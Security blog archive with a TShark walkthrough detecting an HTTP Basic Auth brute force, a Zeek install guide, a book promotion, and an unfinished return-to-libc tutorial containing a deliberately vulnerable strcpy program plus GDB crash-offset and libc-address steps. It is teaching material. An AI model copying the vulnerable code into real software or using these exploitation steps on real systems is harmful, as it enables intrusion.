Thursday, June 25, 2020

Detecting HTTP Basic Authentication Brute Force Attacks via packets with TShark

In this post, we are looking at what the packets look like when unencrypted HTTP basic authentication is targeted.

First up, let's see what types of packets are in the PCAP

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -q -z io,phs
===================================================================
Protocol Hierarchy Statistics
Filter: 

sll                                      frames:3162 bytes:1168718
  ip                                     frames:3162 bytes:1168718
    tcp                                  frames:3162 bytes:1168718
      vssmonitoring                      frames:870 bytes:53940
      http                               frames:570 bytes:207928
        data-text-lines                  frames:285 bytes:121331
          tcp.segments                   frames:285 bytes:121331
===================================================================

From above, we see about 570 frames are HTTP.

First let's identify the HTTP version:

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.request.version  -E header=y | sort | uniq --count | sort --numeric --reverse
   2877 
    285 HTTP/1.1
      1 http.request.version

Now that we know the version is HTTP/1.1, let's see the types of HTTP methods being used in this PCAP. The idea is since, we know we are analyzing HTTP, then there is more than likely going to be a method of GET, POST, etc.

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.request.method | sort | uniq --count | sort --numeric --reverse
   2877 
    285 POST

Now that we know above the method is PUT, let's now see the host and URI which was accessed.

To see the host being accessed and the source, we execute:

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e ip.src -e http.host -E header=y | sort | uniq --count | sort --numeric --reverse
   1452 192.168.0.4
   1425 10.0.2.15
    285 10.0.2.15       lab.securitynik.local
      1 ip.src              http.host

Let's learn a little bit more about the source. Maybe we look at the User-Agent:

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e ip.src -e http.user_agent | sort | uniq --count | sort --numeric --reverse
   1452 192.168.0.4
   1425 10.0.2.15
    285 10.0.2.15       Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
    1   ip.src          http.user_agent

Looks like the device at 10.0.2.15 is using NMAP to target our host at lab.securitynik.local.

So at this point, we know the HTTP version, the source IP, the destination being targeted and the user agent of the device attacking us. Let's now identify the URI which is being targeted.

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.request.uri  -E header=y | sort | uniq --count | sort --numeric --reverse
   2877 
    285 /lab/webapp/basicauth
      1 http.request.uri

We now know that "POST" method was used against the URI above. Let's take a glance at the server responses. While the request being made is good to know, we are more interested in the server response.

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.response.code | sort | uniq --count | sort --numeric --reverse
   2877 
    284 401
      1 200

Above we see 284, "401" errors status codes and 1 "200" status code. Seems strange. 

Researching error status code 401, RFC 2616 identifies this status code as "Unauthorized". The RFC further states this "request requires user authentication". It also states that "the response MUST include a WWW-Authenticate header field"

Let's verify this WWW-Authenticates header exist. 

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.www_authenticate | sort | uniq --count | sort --numeric --reverse
   2878 
    284 Basic realm="SecurityNik Realm!"

Looks like it does. Would it be safe now to conclude that the user failed authentication 284 times and then ultimately was successful with that 1 "200" status code.

Taking a look at the Authorization requests being made:

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.authorization | sort | uniq --count | sort --numeric --reverse | more
   2878 
      1 Basic YWRtaW46YXNzYXM=
      1 Basic YWRtaW46YXNzYWQ=
      1 Basic YWRtaW46YXNzYWE=
      1 Basic YWRtaW46YXNhZHM=
      1 Basic YWRtaW46YXNhZGQ=
      1 Basic YWRtaW46YXNhZGE=
      1 Basic YWRtaW46YXNhYXM=
      1 Basic YWRtaW46YXNhYWQ=
      1 Basic YWRtaW46YXNhYWE=
        ....

Looks like lots of Basic Authorization. Since the above looks like base 64 encoded content, let's continue to use TShark to find the actual credentials being used.

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -T fields -e http.authbasic  | sort | uniq --count | sort --numeric --reverse | more
   2878 
      1 nick:sssss
      1 nick:ssssd
      1 nick:ssssa
      1 nick:sssds
      1 nick:sssdd
      1 nick:sssda
      1 nick:sssas
      1 nick:sssad
      1 nick:sssaa
        ....


Looks like a password based attack with the username being "nick" and the password changing as show above. 

Let's now take a look at the one entry which has status code "200" to see what we get. Because there are a number of packets in this PCAP and the fact that the packet with "200 OK" implies success, let's extract the source IP, source port, destination IP, destination port and the stream number. The stream number we will later use.

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -Y "(http.response.code == 200)" -T fields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e tcp.stream -E header=y
ip.src      tcp.srcport     ip.dst     tcp.dstport     tcp.stream
192.168.0.4  80            10.0.2.15       35028         60

With above, we can now follow the TCP stream. This allows us to see the full session. Most importantly, it allows us to see the full client request.

===================================================================
kali@securitynik:~$ tshark -r nmap-http-brute.pcap -Y "(http.response.code == 200)" -T fields -e ip.src -e tcp.srcport -z follow,tcp,ascii,192.168.0.4:80,10.0.2.15:35028 | more
192.168.0.4  80

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 192.168.0.4 and tcp.srcport eq 80) and (ip.dst eq 10.0.2.15 
and tcp.dstport eq 35028)) or ((ip.src eq 10.0.2.15 and tcp.srcport eq 35028) and (
ip.dst eq 192.168.0.4 and tcp.dstport eq 80))
Node 0: 10.0.2.15:35028
Node 1: 192.168.0.4:80
248
POST /lab/webapp/basicauth HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/n
se.html)
Host: lab.securitynik.local
Content-Length: 0
Authorization: Basic YWRtaW46YWFkZGQ=
Connection: close


        2840
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Cloud-Trace-Context: 96b68704d4489f3c80ee15e704876ce5
Date: Sun, 31 May 2020 01:24:00 GMT
Server: Google Frontend
Accept-Ranges: none
Content-Length: 3827
Via: HTTP/1.1 forward.http.proxy:3128
Connection: close

..................


Awesome!  At this point, we see "Authorization: Basic YWRtaW46YWFkZGQ=". We can now use TShark to find this packet. Alternatively, we can easily plug this value into an online base64 decoder to find the result.


Let's take a bit of Python for this.

kali@securitynik:~$ python -c "import base64;print(base64.decodestring('YWRtaW46YWFkZGQ='))"
admin:aaddd

Let's now wrap this up by looking at the time this activity started.


kali@securitynik:~$ tshark -r nmap-http-brute.pcap -Y '((http) && (ip.src  ==  10.0.2.15) && (http.request.method == POST) && (http.request.uri == http.request.uri == "/lab/webapp/basicauth"))' -t ad | more
   28 2020-05-30 21:23:57.541751    10.0.2.15 → 192.168.0.4 HTTP 265 POST /lab/w
ebapp/basicauth HTTP/1.1 
   50 2020-05-30 21:23:57.715894    10.0.2.15 → 192.168.0.4 HTTP 300 POST /lab/w
ebapp/basicauth HTTP/1.1 
   52 2020-05-30 21:23:57.716791    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
   54 2020-05-30 21:23:57.717297    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
   56 2020-05-30 21:23:57.717872    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
   58 2020-05-30 21:23:57.719344    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
....
 3097 2020-05-30 21:24:02.422018    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
 3098 2020-05-30 21:24:02.422234    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
 3099 2020-05-30 21:24:02.422609    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
 3100 2020-05-30 21:24:02.422823    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
 3101 2020-05-30 21:24:02.423343    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 
 3102 2020-05-30 21:24:02.423554    10.0.2.15 → 192.168.0.4 HTTP 304 POST /lab/w
ebapp/basicauth HTTP/1.1 

From above we can conclude this activity started on May 30, 2020 at 21:23:57 local time.

Looking at the time the time the login was successful from the server perspective, we see:

kali@securitynik:~$ tshark -r nmap-http-brute.pcap -Y '((http) && (ip.dst == 10.0.2.15) && (http.response.code == 200))' -t ad
  741 2020-05-30 21:23:58.779688 192.168.0.4 → 10.0.2.15    HTTP 1347 HTTP/1.1 200 OK  (text/html)

At this point we can say the successful login occurred within a second of of the initial attempt.

Ok At this point I believe we are good to go with detecting the issue. 


References:

Saturday, June 13, 2020

Installing Zeek 3.1.4 on Ubuntu 20.04

In the SANS SEC503 Intrusion Detection in Depth class, we teach you quite a lot to get you started with Zeek Network Security Monitoring. One of the things we cannot do because of time, is walk you through the installation, upgrading, etc., of Zeek. In this post, we help you to install Zeek 3.1.4, the current version as of this writing on Ubuntu 20.04. The hope is with the knowledge we provide to you in the SEC 503 class as well as what you get here, you are in a better position to maximize your Zeek deployment.

First, let us confirm my version of Ubuntu. As seen below, I am running Ubuntu 20.04 LTS.


securitynik@securitynik-zeek:~$ lsb_release --all
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04 LTS
Release:        20.04
Codename:       focal

Next, let us install Zeek's dependencies. As we are using Ubuntu, we need the following dependencies:


cmake 
make 
gcc 
g++ 
flex 
bison 
libpcap-dev 
libssl-dev 
python-dev 
swig 
zlib1g-dev

Let's install them by using:


securitynik@securitynik-zeek:~$sudo apt-get install cmake make gcc g++ flex bison libpcap-dev libssl-dev python-dev swig zlib1g-dev

Let's now install an optional dependency. Specifically, we will install libmaxminddb (for geolocating IP addresses). To make the most of this, you will need to register with MaxMind before you can download the GeoIP dataset. Once registered and logged in, download the GeoLite2 City database.

Once downloaded, you may need to copy the file to the remote machine running Zeek. In my example, I downloaded the file on a Windows system, then used SCP to transfer it to the device running Zeek.

If you don't wish to use geo-data, feel free to skip this step.


securitynik@securitynik-zeek:~$ sudo apt-get install libmaxminddb-dev

Copy the GeoIP data file from Windows 10 system to the system running Zeek, using the native SCP client in Windows 10.


C:\Users\securitynik\Downloads>scp GeoLite2-City_20200609.tar.gz nik@192.168.0.4:~/

nik@192.168.0.4's password:     
GeoLite2-City_20200609.tar gz         100%   29MB  10.4MB/s   00:02

Once the file is on the system running Zeek, we then extract the files:


securitynik@securitynik-zeek:~$ tar --extract --verbose --gunzip --file GeoLite2-City_20200609.tar.gz
GeoLite2-City_20200609/
GeoLite2-City_20200609/README.txt
GeoLite2-City_20200609/COPYRIGHT.txt
GeoLite2-City_20200609/GeoLite2-City.mmdb
GeoLite2-City_20200609/LICENSE.txt

Next copy the GeoLite2-City_20200609/GeoLite2-City.mmdb into the /usr/share/GeoIP folder. In my case I had to create this folder.


securitynik@securitynik-zeek:~$ sudo mkdir --parents /usr/share/GeoIP
securitynik@securitynik-zeek:~$ sudo cp GeoLite2-City_20200609/GeoLite2-City.mmdb /usr/share/GeoIP/

Once the dependencies have been installed successfully, we then transition to the Zeek installation. For our install, we use the latest version at the time of this writing from Zeek's GitHub page.


securitynik@securitynik-zeek:~$ git clone --recursive https://github.com/zeek/zeek

Upon completion of the cloning, we then change directory (cd) into the zeek directory. Once we changed into the zeek directory, we then specify "--with-geoip" argument for the configure script so as to customize our installation. In this example, we are pointing it to the previously created folder which holds or geo-data file.


securitynik@securitynik-zeek:~/zeek$ cd zeek/
securitynik@securitynik-zeek:~/zeek$ ./configure --with-geoip=/usr/share/GeoIP

If everything went ok, you may see something similar to:


....
====================|  Zeek Build Summary  |====================

Build type:        RelWithDebInfo
Build dir:         /home/nik/zeek/build
Install prefix:    /usr/local/zeek
Zeek Script Path:  /usr/local/zeek/share/zeek
Debug mode:        false
Unit tests:

CC:                /usr/bin/cc
CFLAGS:             -Wall -Wno-unused -O2 -g -DNDEBUG
CXX:               /usr/bin/c++
CXXFLAGS:           -Wall -Wno-unused -Wno-register -Werror=vla -std=c++17 -O2 -g -DNDEBUG
CPP:               /usr/bin/c++

ZeekControl:       true
Aux. Tools:        true

libmaxminddb:      true
Kerberos:          false
gperftools found:  false
        tcmalloc:  false
       debugging:  false
jemalloc:          false

Fuzz Targets:
Fuzz Engine:

================================================================

-- Configuring done
-- Generating done
-- Build files have been written to: /home/nik/zeek/build

Next up, make and make install Zeek. Grab a quick coffee, beer or Guinness. Basically whatever you drink as depending on your system resources, this may take a while to complete.


securitynik@securitynik-zeek:~/zeek$ sudo make 
securitynik@securitynik-zeek:~/zeek$ sudo make install

Now that the install has completed, test to see if zeek can be executed.


securitynik@securitynik-zeek:~$which zeek
securitynik@securitynik-zeek:~$

Looks like zeek is not in the path. Let's add a symbolic link and verify Zeek is now in the path


securitynik@securitynik-zeek:~$ sudo ln --symbolic /usr/local/zeek/bin/zeek /usr/bin/zeek
securitynik@securitynik-zeek:~$ which zeek
/usr/bin/zeek

Looks good! Similarly, let's setup a symbolic link for zeekctl


securitynik@securitynik-zeek:~$ sudo ln --symbolic /usr/local/zeek/bin/zeekctl /usr/bin/zeekctl
securitynik@securitynik-zeek:~$ which zeekctl
/usr/bin/zeekctl

While the above is cool, we need to make this a bit more permanent. More importantly, there are other files in the /usr/local/zeek/bin/ directory such as zeek-cut that we more than likely need to use. Thus adding all of these symbolic links may not be the best use of our time. Let's address this by first modifying the path.


securitynik@securitynik-zeek:~$ export PATH=$PATH:/usr/local/zeek/bin
securitynik@securitynik-zeek:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/loal/zeek/bin:/usr/local/zeek/bin

This now allows us to access the other binaries in the /usr/local/zeek/bin/ directory such as zeek-cut

Let's now make it permanent. 


securitynik@securitynik-zeek:~$ echo "export PATH=$PATH:/usr/local/zeek/bin" >> .bashrc
securitynik@securitynik-zeek:~$ tail --lines 1 .bashrc
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/loal/zeek/bin:/usr/local/zeek/bin:/usr/local/zeek/bin

At this point you should be able to execute Zeek with its default configuration in standalone mode. However, for us, let move away from the defaults.

First edit the networks.cfg using your favourite editor (vi, nano, gedit, mousepad, etc.), to ensure it reflects your protected network(s). Here is what mine looks like.


securitynik@securitynik-zeek:/usr/local/zeek/etc$ cat networks.cfg
# List of local networks in CIDR notation, optionally followed by a
# descriptive tag.
# For example, "10.0.0.0/8" or "fe80::/64" are valid prefixes.

#10.0.0.0/8          Private IP space
#172.16.0.0/12       Private IP space
192.168.0.0/24     SecurityNik Protected Network

For demonstration purposes, I commented out 10.0.0.0/8 and 172.16.0.0/12 networks and left the 192.168.0.0/16. I also changed the description to suit my needs. You should also add any other networks you have to this file.

Once that is completed, you should then configure the node.cfg file. Here is what mine looks like. I commented out the standalone section to simulate a distributed deployment. Everything is on one host but the host has two interfaces. One of those is the loopback and the other enp0s25. Note, you don't really need to do it the way I did. I am only doing it this way to demonstrate how you can use different workers on different systems and or interfaces.


#[zeek]
#type=standalone
#host=securitynik
#interface=enp0s25

## Below is an example clustered configuration. If you use this,
## remove the [zeek] node above.

#[logger-1]
#type=logger
#host=localhost
#
[securitynik-zeek-manager]
type=manager
host=192.168.0.4
#
[securitynik-zeek-proxy]
type=proxy
host=192.168.0.4
#
[securitynik-zeek-worker-enp0s25]
type=worker
host=192.168.0.4
interface=enp0s25
#
[securitynik-zeek-worker-lo]
type=worker
host=localhost
interface=lo

Once you have modified your node.cfg to reflect your configuration needs, your next step is to make any necessary changes to your zeekctl.cfg. At a minimum in this file you may want to change the recipient email address. Here is a snapshot of my file:


securitynik@securitynik-zeek:/usr/local/zeek/etc$ cat zeekctl.cfg | more
## Global ZeekControl configuration file.

###############################################
# Mail Options

# Recipient address for all emails sent out by Zeek and ZeekControl.
MailTo = admin@securitynik.local
......

At this point, we should be good to go. Once you modify your files, you should deploy your changes. Let's do that.


securitynik@securitynik-zeek:/usr/local/zeek/etc$ sudo zeekctl deploy
checking configurations ...
installing ...
removing old policies in /usr/local/zeek/spool/installed-scripts-do-not-touch/site ...
removing old policies in /usr/local/zeek/spool/installed-scripts-do-not-touch/auto ...
creating policy directories ...
installing site policies ...
generating cluster-layout.zeek ...
generating local-networks.zeek ...
generating zeekctl-config.zeek ...
generating zeekctl-config.sh ...
stopping ...
stopping workers ...
stopping proxy ...
stopping manager ...
starting ...
starting manager ...
starting proxy ...
starting workers ...

Looks like everything started properly. Let's confirm this:


securitynik@securitynik-zeek:/usr/local/zeek/etc$ sudo zeekctl status
Name                        Type    Host             Status    Pid    Started
securitynik-zeek-manager         manager 192.168.0.4      running   207505 13 Jun 14:13:33
securitynik-zeek-proxy           proxy   192.168.0.4      running   207554 13 Jun 14:13:35
securitynik-zeek-worker-enp0s25  worker  192.168.0.4      running   207624 13 Jun 14:13:37
securitynik-zeek-worker-lo       worker  localhost        running   207621 13 Jun 14:13:37

Looks like we are good to go. To further confirm, let's see if any logs are being created.


securitynik@securitynik-zeek:/usr/local/zeek/etc$ ls ../logs/current
broker.log   conn.log  files.log  loaded_scripts.log  reporter.log  stats.log   stdout.log  weird.log
cluster.log  dns.log   http.log   packet_filter.log   ssl.log       stderr.log  syslog.log  x509.log

Nice. Looks like we are making progress. 

Finally, you may wish to have Zeek start as a service via Systemd. Let's make that happen.

Create a file name zeek.zervice and verify its existence as follow.


securitynik@securitynik-zeek:~$ sudo touch /etc/systemd/system/zeek.service
securitynik@securitynik-zeek:~$ ls /etc/systemd/system/zeek.service*
/etc/systemd/system/zeek.service

Next edit the file and add the following contents:


securitynik@securitynik-zeek:~$ sudo vi /etc/systemd/system/zeek.service
securitynik@securitynik-zeek:~$ cat /etc/systemd/system/zeek.service
Description=Zeek Network Security Monitoring

Wants=network.target
After=syslog.target network-online.target

[Service]
Type=simple
ExecStart=zeekctl deploy
Restart=on-failure
RestartSec=10
KillMode=process

[Install]
WantedBy=multi-user.target

Next reload systemd


securitynik@securitynik-zeek:~$ sudo systemctl daemon-reload

Enable the zeek service (zeek.zervice)


securitynik@securitynik-zeek:~$ sudo systemctl enable --now zeek.service
Created symlink /etc/systemd/system/multi-user.target.wants/zeek.service → /etc/systemd/system/zeek.service.

Start the service 


securitynik@securitynik-zeek:~$ sudo systemctl start zeek.service
securitynik@securitynik-zeek:~$

Looks like the Zeek service started without errors. Let's confirm the service is now running.


securitynik@securitynik-zeek:~$ systemctl status zeek.service
● zeek.service
     Loaded: loaded (/etc/systemd/system/zeek.service; enabled; vendor preset: enabled)
     Active: inactive (dead) since Sat 2020-06-13 14:42:21 EDT; 1min 26s ago
    Process: 215455 ExecStart=/usr/bin/zeekctl start (code=exited, status=0/SUCCESS)
   Main PID: 215455 (code=exited, status=0/SUCCESS)
      Tasks: 50 (limit: 2225)
     Memory: 293.0M
     CGroup: /system.slice/zeek.service
             ├─215481 /usr/bin/bash /usr/local/zeek/share/zeekctl/scripts/run-zeek -1 -U .status -p zeekctl -p zeekctl->
             ├─215487 /usr/local/zeek/bin/zeek -U .status -p zeekctl -p zeekctl-live -p local -p securitynik-zeek-manager lo>
             ├─215533 /usr/bin/bash /usr/local/zeek/share/zeekctl/scripts/run-zeek -1 -U .status -p zeekctl -p zeekctl->
             ├─215539 /usr/local/zeek/bin/zeek -U .status -p zeekctl -p zeekctl-live -p local -p securitynik-zeek-proxy loca>
             ├─215592 /usr/bin/bash /usr/local/zeek/share/zeekctl/scripts/run-zeek -1 -i enp0s25 -U .status -p zeekctl >
             ├─215600 /usr/bin/bash /usr/local/zeek/share/zeekctl/scripts/run-zeek -1 -i lo -U .status -p zeekctl -p ze>
             ├─215605 /usr/local/zeek/bin/zeek -i enp0s25 -U .status -p zeekctl -p zeekctl-live -p local -p securitynik-zeek>
             └─215609 /usr/local/zeek/bin/zeek -i lo -U .status -p zeekctl -p zeekctl-live -p local -p securitynik-zeek-work>

Jun 13 14:42:14 securitynik systemd[1]: Started zeek.service.
Jun 13 14:42:21 securitynik zeekctl[215455]: starting manager ...
Jun 13 14:42:21 securitynik zeekctl[215455]: starting proxy ...
Jun 13 14:42:21 securitynik zeekctl[215455]: starting workers ...
Jun 13 14:42:21 securitynik systemd[1]: zeek.service: Succeeded.

Above we can see zeek.serviceSuceeded. However, if you look at the Active above, we see Inactive dead. However, I was able to confirm Zeek is running as expected even after stopping Zeek with zeekctl stop. I then restarted the system and run sudo zeekctl status along with systemctl status zeek.service and everything is working as expected.


At this point, I will close off this post. Have fun, stay safe and I look forward to seeing you in one of  the upcoming SANS SEC503 Intrusion Detection in Depth class, where we teach you how to maximize your security monitoring with Zeek.

Reference:

Wednesday, June 3, 2020

Mastering TShark Network Forensics - Moving from Zero to Hero


Mastering TShark Network Forensics - Moving From Zero To Hero


The wait is finally over! The book you have been waiting on to make you a Master of TShark Network Forensics - Moving from Zero to Hero, is finally here!!!

Be it you are a Network Engineer, a Network Forensics Analyst, someone new to packet analysis or someone who occasionally looks at packet, this book is guaranteed to improve your TShark skills, while moving you from Zero to Hero.

Mastering TShark Network Forensics, can be considered the definitive repository of TShark knowledge. It is your one-stop shop for all you need to Master TShark, with adequate references to allow you to go deeper on peripheral topics if you so choose.

Book Objectives
1. Introduce packet capturing architecture
2. Teach the basics of TShark
3. Teach some not so basic TShark tricks
4. Solve real world challenges with TShark
5. Identify services hiding behind other protocols
8  Mastering TShark Network Forensics
6. Perform “hands-free” packet capture with TShark
7. Analyze and decrypt TLS encrypted traffic
8. Analyze and decrypt WPA2 Personal Traffic
9. Going way beyond – Leveraging TShark and Python for IP threat intelligence
10. Introduce Lua scripts
11. Introduce packet editing
12. Introduce packet merging
13. Introduce packet rewriting
14. Introduce remote packet capturing


Who is this book for?
While this book is written specifically for Network Forensics Analysts, it is equally beneficial to anyone who
supports the network infrastructure. This means, Network Administrators, Security Specialists, Network
Engineers, etc., will all benefit from this book. Considering the preceding, I believe the following represents the
right audience for this book:
• Individuals starting off their Cybersecurity careers
• Individuals working in a Cyber/Security Operations Center (C/SOC)
• General practitioners of Cybersecurity
• Experienced Cybersecurity Ninjas who may be looking for a trick or two
• Anyone who just wishes to learn more about TShark and its uses in network forensics
• Anyone involved in network forensics
• More importantly, anyhow who is looking for a good read

Grab a copy from Amazon:

Not sure if this book is for you? Take a glimpse at the sample chapter before committing to it.
Mastering TShark sample chapters can be found at:
https://bit.ly/TShark

All PCAPS used within this book can be found at:
https://github.com/SecurityNik/SUWtHEh-

As an addition to this book, the tool, pktIntel: Tool used to perform threat intelligence against packet data can be found at:
https://github.com/SecurityNik/pktIntel

Friday, May 22, 2020

Continuing Stack Based Buffer Overflow - Return to LibC

In the previous post, we compiled the program with the "-z execstack" option. This allowed us to execute shellcode on the stack. However, with non-executable stacks, we are unable to execute code on the stack.

Here we have a simple program similar to the last one.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <string.h>

/* 
To compile as 32 bit application
gcc -m32 -z noexecstack -o retLibC retLibC.c -mpreferred-stack-boundary=2
*/

int main(int argc, char *argv[])
    {
        // Define the buffer of 8 bytes
        char userInput[8];

        /* copy the contents of the first argument into user input.
           Notice the problem already? userInput is 8 bytes but we 
           did not limit the number of bytes the users could input.
           Like the previous post with gets() strcpy() is not checking 
           the user input. Thus the user can enter greater than 8 bytes.
        */
        strcpy(userInput, argv[1]);

        // Print the user input back to the screen.
        printf("you entered %s \n", userInput);
        return 0;
    }

We then compile it as follow:

1
gcc -m32 -z noexecstack -o retLibC retLibC.c -mpreferred-stack-boundary=2

When we execute the program we get:

1
2
3
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC Welcome
You entered Welcome

If we entered more than the the buffer is configured for, we see we get a segmentation fault.

1
2
3
4
┌─[securitynik@securitynik]─[~]
└──╼ $./retLibC "Welcome to SecurityNik World!"
You entered Welcome to SecurityNik World!
Segmentation fault (core dumped)

If we look at the dmesg file, we see below confirming the crash and the address of the Instruction Pointer (IP)

1
2
3
4
5
─[securitynik@securitynik]─[~]
└──╼ $sudo dmesg --human --ctime

[Fri May 15 02:05:05 2020] retLibC[7309]: segfault at 4e797469 ip 0>
[Fri May 15 02:05:05 2020] Code: Bad RIP value.

Similar to the previous post, let's use a pattern again to find where the fault occurs.

First we create the pattern while printing it to the screen. Secondly, we send the pattern to a file to be used as input.

1
2
3
4
5
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
┌─[securitynik@securitynik]─[~]
└──╼ $msf-pattern_create --length 100 > libc.pattern

Now that we have a pattern, let's load up GDB.

1
2
3
4
5
6
┌─[✗]─[securitynik@securitynik]─[~]
└──╼ $gdb ./retLibC -q
pwndbg: loaded 187 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./retLibC...
(No debugging symbols found in ./retLibC)

Let's feed the libc.pattern file as input to the program in GDB.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> run $(cat libc.pattern)
Starting program: /home/securitynik/retLibC $(cat libc.pattern)
You entered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x61413561 in ?? ()

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]───────────────────────────────────────
 EAX  0x0
 EBX  0x33614132 ('2Aa3')
 ECX  0x0
 EDX  0x56557018 ◂— 0x0
 EDI  0xf7fac000 ◂— 0x1dfd6c
 ESI  0xf7fac000 ◂— 0x1dfd6c
 EBP  0x41346141 ('Aa4A')
 ESP  0xffffd200 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
 EIP  0x61413561 ('a5Aa')
────────────────────────────────────────[ DISASM ]─────────────────────────────────────────

Invalid address 0x61413561



─────────────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000 esp  0xffffd200 ◂— '6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
01:0004      0xffffd204 ◂— 'Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
02:0008      0xffffd208 ◂— 'a9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
03:000c│      0xffffd20c ◂— '0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
04:0010      0xffffd210 ◂— 'Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
05:0014      0xffffd214 ◂— 'b3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
06:0018      0xffffd218 ◂— '4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
07:001c│      0xffffd21c ◂— 'Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
───────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────
  f 0 61413561
   f 1 37614136
   f 2 41386141
   f 3 62413961
   f 4 31624130
   f 5 41326241
   f 6 62413362
   f 7 35624134
   f 8 41366241
   f 9 62413762
   f 10 39624138
───────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

From above, we see

1
EIP  0x61413561 ('a5Aa')

We will use msf-pattern_offset to find where the crash occurred. However, while we are here, let's look for a few things.
1. Location of the system() function
2. Location of the exit() function
3. Location of a shell. We can try to locate /bin/sh or /bin/bash

Let's find the system() function first. This can be achieved by using the print commands

1
2
pwndbg> print system
$1 = {<text variable, no debug info>} 0xf7e105f0 <system>

Using a similar method, let's find the exit() function

1
2
pwndbg> print exit
$2 = {<text variable, no debug info>} 0xf7e03360 <exit>

We now have 2 out of our 3 things needed. For the shell, we may have that information in the environment variable. Let's see if we can find it there.

Let's set a break at main() and verify its existence using info break.

1
2
3
4
5
pwndbg> break main
Breakpoint 1 at 0x565561ad
pwndbg> info break
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x565561ad <main+4>

Let's run the program again.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
